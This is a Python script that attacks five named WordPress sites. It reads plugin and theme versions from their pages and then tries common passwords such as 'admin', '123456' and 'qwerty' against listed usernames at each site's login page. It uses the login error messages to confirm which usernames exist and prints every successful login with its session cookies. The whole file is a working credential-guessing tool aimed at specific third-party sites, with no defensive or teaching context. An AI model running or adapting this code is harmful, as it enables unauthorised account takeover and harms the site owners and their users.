import asyncio, re
import aiohttp

SITES = {
    "azleabsolutely.com": ["azleadmin", "johng", "kpegues"],
    "llc.net": ["admin"],
    "smileshoponline.com": ["kps3", "kristiek"],
    "bradyds.com": ["colin"],
    "talkandhra.com": ["talkandhra"],
}
PASSWORDS = ["admin", "password", "welcome", "123456", "qwerty"]
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}


async def fetch(sess, url, read=120000):
    async with sess.get(url, ssl=False, allow_redirects=True) as r:
        raw = await r.content.read(read)
        return r.status, raw.decode("utf-8", "replace")


async def versions(sess, base):
    st, html = await fetch(sess, base + "/")
    low = html.lower()
    vers = {}
    for m in re.finditer(r"/wp-content/(?:plugins|themes)/([a-z0-9\-_]+)/[^\"'\s>]*\?ver=([0-9][0-9a-z.\-]*)", low):
        vers.setdefault(m.group(1), m.group(2))
    gen = re.search(r'name=["\']generator["\'][^>]*content=["\']([^"\']+)', low)
    return vers, (gen.group(1) if gen else ""), st


async def try_login(base, user, pwd):
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=25),
                                     headers=UA, cookie_jar=jar) as s:
        try:
            await fetch(s, base + "/wp-login.php", 5000)
            data = {"log": user, "pwd": pwd, "wp-submit": "Log In",
                    "redirect_to": base + "/wp-admin/", "testcookie": "1"}
            async with s.post(base + "/wp-login.php", data=data, ssl=False,
                              allow_redirects=False) as r:
                body = await r.text()
                loc = r.headers.get("Location", "")
            cookies = [c.key for c in s.cookie_jar]
            ok = any("wordpress_logged_in" in c for c in cookies) or \
                 ("wp-admin" in loc and "wp-login" not in loc)
            low = body.lower()
            if "unknown username" in low or "invalid username" in low:
                why = "no such user"
            elif "incorrect" in low or "not correct" in low:
                why = "wrong password"
            elif ok:
                why = "ok"
            else:
                why = ""
            return ok, r.status, loc[:50], cookies, why
        except Exception as e:
            return False, 0, type(e).__name__, [], ""


async def main():
    for dom, users in SITES.items():
        base = None
        for scheme in ("https", "http"):
            try:
                async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=15),
                                                 headers=UA) as s:
                    await fetch(s, f"{scheme}://{dom}/", 800)
                base = f"{scheme}://{dom}"
                break
            except Exception:
                continue
        if not base:
            print(dom, "unreachable", flush=True)
            continue
        async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=20),
                                         headers=UA) as s:
            vers, gen, st = await versions(s, base)
        print(f"=== {dom} {base} st={st} generator={gen}", flush=True)
        if vers:
            print("   ver:", ", ".join(f"{k}={v}" for k, v in vers.items()), flush=True)
        for user in users:
            wrong = 0
            for pwd in PASSWORDS:
                ok, code, loc, ck, why = await try_login(base, user, pwd)
                print(f"   {user:12s} {pwd:9s} st={code} {why or '?':12s} loc={loc}", flush=True)
                if ok:
                    print(f"   >>> LOGIN OK {dom} {user}/{pwd} cookies={ck}", flush=True)
                    break
                if why == "no such user":
                    break
                if why == "wrong password":
                    wrong += 1
            if wrong:
                print(f"   [{dom}] user {user} EXISTS (wrong password x{wrong})", flush=True)

asyncio.run(main())
